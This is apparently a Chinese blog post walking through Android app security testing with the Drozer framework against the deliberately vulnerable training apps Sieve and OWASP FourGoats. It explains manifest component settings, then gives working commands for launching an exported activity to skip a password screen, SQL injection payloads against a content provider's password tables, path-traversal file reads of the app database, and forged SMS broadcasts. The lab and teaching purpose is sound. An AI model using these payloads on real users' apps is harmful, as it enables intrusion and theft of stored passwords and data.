Drozer 测试 APP - Sieve&FourGoats

参考文章

Android 安全测试框架 Drozer-使用篇
Android四大组件
Android暴露组件——被忽略的组件安全

APP下载

前提知识

AndroidManifest.xml

AndroidManifest.xml 文件是整个应用程序的信息描述文件,包含了 APP 的配置信息。
其功能主要有:

  • 命名应用程序的 java 包,这个包名将用来唯一标识这个应用程序。
  • 描述了应用程序中包含的 Activity、Service、ContentProvider和 BroadcastReceiver 组件
  • 定义了应用程序运行的进程
  • 声明了应用程序需要访问受限 API 所需的权限
  • 声明其他程序如果希望访问本程序组件所需要的权限
  • 声明应用程序能够正常运行所需要的最小级别的 OpenAPI
  • 列出应用程序运行所需要连接的库

其中,我们重点关注的就是声明的组件信息,也就是下方 <application> 内的信息

<?xmlversion="1.0"encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.sample.teapot" android:versionCode="1" android:versionName="1.0.0.1" >
    <uses-permission android:name="android.permission.INTERNET"/>
    <application android:allowBackup="true" android:debuggable="true">
        <activity android:label="@string/app_name" android:name=".activities.Main">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <provider android:exported="false" android:name=".DBContentProvider">
            <grant-uri-permission android:pathPattern=".*"/>
        </provider>
        <receiver android:label="Send SMS" android:name=".broadcastreceivers.SendSMSNowReceiver">
            <intent-filter>
                <action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>
            </intent-filter>
        </receiver>
        <service android:name=".services.LocationService">
            <intent-filter>
                <action android:name="org.owasp.goatdroid.fourgoats.services.LocationService"/>
            </intent-filter>
        </service>
    </application>
</manifest>

对于四种组件,需要关注的点就是 是否允许其他应用随意调用

  • android:exported 属性
    该属性指明了是否支持其它应用调用当前组件。
    Activity、Service、Broadcast 默认值:
    如果包含有 intent-filter 默认值为 true,表示其他 Application 可调用该组件;
    没有 intent-filter 默认值为 false,表示其只能被当前 Application 或者拥有同样 USER ID 的 Application 的调用。
    Provider 默认值:
    当 Android sdk 的最小版本为 16 或者更低时其默认值为 true。如果是 17 及以上的版本默认值为 false。
    当组件的 android:exported="true" 时,会导致其他应用可随意调用该组件(直接调用或者通过 action 调用),那么势必会导致一些问题。

  • android:permission

摘抄自 Android暴露组件——被忽略的组件安全

<permission android:name="com.myself.permission.WEB" android:protectionLevel="signature"/>

<!--
定义一个 permission
其三个标签下的属性配置:
 * name:该权限的名称,使用该权限时通过名称来指定使用的权限
 * protectionLevel:该权限受保护的等级,很重要,主要介绍三个
 *   ————signature:签名级别权限,即权限的定义方和注册方必须具有相同的签名才有效
 *   ————system:系统级别权限,即权限的定义方和注册方必须为系统应用
 *   ————signatureOrSystem :同签名或系统应用,上述二者具备其一即可
 * label:一般是权限的描述
-->

<activity
    android:permission="com.myself.permission.WEB"
    android:name="com.test1.WebActivity">
    <intent-filter>
        <action android:name="com.test1.action.VIEW_URL"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>

<!--
如上,在 activity 声明时,activity 标签下有一个 permission,通过 permission 的 name 就能指定保护该 activity 的权限
这样,只有具有了该权限的 activity 才能启动它,注意在定义方和使用方都要定义和声明自定义的权限
-->

也可这样申请调用权限
<uses-permission android:name="com.myself.permission.WEB" />

四大组件

  • activity - 活动
    一个 activity 通常就是一个单独的屏幕,是用户操作的可视化界面。一个应用程序一般由多个 Activity 组成

  • content provider - 数据提供者
    一个 content provider 类实现了一组标准的方法接口,从而能够让其他的应用保存或读取此 Content Provider 的各种数据类型。通过 content://contacts/people/URI 取得数据

  • broadcast - 广播
    广播,是一种运用的在应用程序之间传输信息的机制,分接收与发送

  • service - 服务
    没有用户界面的程序,通常用作在后台处理耗时的逻辑

基本的命令

基本命令 作用 示例
list 列出所有模块
shell 获取手机 shell
help 模块 查看具体模块详情/用法 help app.package.info
run 模块 调用某个模块
常用测试命令 作用
基本语法 run 具体命令 [-参数]
run app.package.list 列出所有包名(软件)
run app.package.info -a 包名 查看某个软件(包名)的具体信息
run app.package.attacksurface 包名 查看某个软件的攻击面
run app.activity.info -a 包名 查看某个软件的 activity 组件的具体攻击面
run app.activity.start --component 包名 具体activity 启动某个 activity
run app.provider.info -a 包名 查看某个软件的 provider 组件的具体攻击面
run app.provider.finduri 包名 列出某个软件的 URI
run app.provider.query content://xxxxxURI 查看某个URI内容
run app.provider.query content://xxxxxURI --projection "'" 检测某个 URI 是否存在注入
run app.provider.query content://xxxxxURI --selection "'" 检测某个 URI 是否存在注入
run app.provider.query content://xxxxxURI --projection "* FROM SQLITE_MASTER WHERE type='table';--" 针对某个 URI 进行注入
run app.provider.read content://xxxxxURI 通过某个 URI 读取文件
run app.provider.download content://xxxxxURI 主机目录/文件名 通过某个 URI 下载文件
run app.service.info -a 包名 查看某个软件的 service 组件的具体攻击面
run app.service.start --action 某个 action 启动某个 service
run app.broadcast.info -a 包名 查看某个软件的 broadcast 组件的具体攻击面
run app.broadcast.send -action 某个 action --extra TYPE KEY VALUE 执行某个 broadcast 组件的 action,并传递参数
run scanner.provider.finduris -a 包名 寻找可访问 URI
run scanner.provider.traversal -a 包名 探测存在目录遍历的 URI
run scanner.provider.injection -a 包名 探测存在注入的 URI

一般测试步骤

注:测试 app sieve 是 drozer 官网提供的,测试前请提前进入 app 设置好密码以及 pin,并添加一条记录值

  • 搜索对应软件的包名 run app.package.list -f sieve

  • 查看具体包的信息 run app.package.info -a com.mwr.example.sieve

    可得到:版本号、数据目录、权限

  • 针对该包查探可能存在漏洞的攻击面 run app.package.attacksurface com.mwr.example.sieve

    得到对应安卓四大组件可能的攻击面:

    • activity -- 界面
    • broadcast -- 广播
    • provider -- 数据
    • service -- 服务
  • 查看针对 activity 界面组件具体的攻击面 run app.activity.info -a com.mwr.example.sieve

  • 针对每个 activity 攻击面进行测试,查看 app 反应 run app.activity.start --component 包名 具体activity

    • com.mwr.example.sieve.FileSelectActivity
    • com.mwr.example.sieve.MainLoginActivity
    • com.mwr.example.sieve.PWList

      由此可见,前两个 activity 攻击面并不能造成实质性的危害,但是最后一个攻击面可绕过密码鉴定直接进入软件,由此便可造成用户信息泄露
  • 查看针对 provider 数据组件具体的攻击面 run app.provider.info -a com.mwr.example.sieve

  • 针对 com.mwr.example.sieve.DBContentProvider 攻击面进行测试

    • 列 URI,run app.provider.finduri com.mwr.example.sieve

      分别测试每个 URI 是否能够访问,drozer 提供了扫描模块,run scanner.provider.finduris -a com.mwr.example.sieve
    • 查看可访问 URI 内容,run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
    • 测试可访问 URI 是否存在注入,run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
      或者 run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"

      同样,drozer 提供了扫描模块,run scanner.provider.injection -a com.mwr.example.sieve
    • 注入出所有数据表,run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    • 查询某个表中所有数据,run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
  • 针对 content://com.mwr.example.sieve.FileBackupProvider 攻击面进行测试

    • 前面测试了存在注入的 URI,由于 provider 还提供文件访问,于是可以探测目录穿越
      run scanner.provider.traversal -a com.mwr.example.sieve
    • 读文件,run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

      可以根据 run app.package.info -a com.mwr.example.sieve 得到的目录信息获取更多文件
      run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\Users\23098\Desktop\database.db
    • 下载文件 run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db C:\\Users\\xxxx\\Desktop\\database.db




分隔线 ----- 针对 FourGoats app 测试 broatcast 与 service 组件
  • 查看 FourGoats 攻击面,run app.package.attacksurface org.owasp.goatdroid.fourgoats

  • 查看针对 broadcast 数据组件具体的攻击面 run app.broadcast.info -a org.owasp.goatdroid.fourgoats

  • 针对 broatcast 攻击面进行测试
    由于运行 broadcast 组件需要找到对应的 action,所以需要反编译 app

    打开 xml 文件查找 action(命令 .\apktool_2.4.1.jar d '.\OWASP GoatDroid- FourGoats Android App.apk')

    • 直接执行造成拒绝服务,run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
    • 发送恶意广播
      反编译 app 得到源码为:

      共需要 2 个参数,phoneNumber、message
      所以:run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 666 --extra string message test
  • 查看针对 broadcast 数据组件具体的攻击面 run app.service.info -a org.owasp.goatdroid.fourgoats

  • 针对 service 攻击面进行测试(先找到对应的 action)

    • 直接执行造成拒绝服务,run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService

遇到的问题

  • adb 快速导出安卓安装包

    1. 查看手机中已安装的所有 apk 文件
      adb shell pm list package
    2. 根据要导出的 app 包名,查看 APP 安装路径
      adb shell pm path com.DeviceTest
    3. 根据以上路径导出 apk 源文件到 PC 端
      adb pull /xxx/xxx/xxx.apk C:\PC路径\desktop\
  • 使用 run app.package.list 命令无法列出所有包名,只能通过 -f 参数来查找

    原因:乱码造成的错误
    解决办法:来到 python2 安装目录下的 drozer 模块 D:\software\py2\Lib\site-packages\drozer\modules\app
    打开该目录下的 package.py 文件,在开头添加

import sys
reload(sys)
sys.setdefaultencoding('utf-8')


并修改 List 类(加两个 u)

从此走向人生巅峰

  • 简单反编译的相关问题
    1. 解压软件 apk 包,拿到 classes.dex
    2. 使用 dex2jar,执行 .\d2j-dex2jar.bat .\classes.dex 反编译,得到 classes-dex2jar.jar
    3. 打开 jd-gui 查看源码
posted @ 2020-11-12 14:34  1ndex-  阅读(2090)  评论(0编辑  收藏  举报